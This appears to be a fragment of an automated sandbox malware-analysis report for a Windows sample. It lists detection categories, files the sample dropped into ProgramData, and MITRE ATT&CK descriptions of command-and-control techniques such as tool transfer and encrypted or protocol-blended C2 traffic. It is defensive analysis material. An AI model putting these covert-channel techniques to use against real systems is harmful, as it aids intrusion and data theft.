Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DGHIDAFCGIEHIEBFCFBA

C:\ProgramData\DGHIDAFCGIEHIEBFCFBAEGDGDH

C:\ProgramData\ECGDHDHJEBGHJKFIECBG

C:\ProgramData\GIEBFHCAKFBGDHIDHIDBKKKKKE

C:\ProgramData\HCGCAAKJDHJJJJJKKKFB

C:\ProgramData\HJKJEHJK

C:\ProgramData\IEHDAFHDHCBFIDGCFIDGHJDGDA

C:\ProgramData\KKEBKJJD

C:\ProgramData\KKJDGDHIDBGIECBGHJDBAAKJDH

C:\ProgramData\freebl3.dll

Windows Analysis Report
EZrw1nNIpG.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre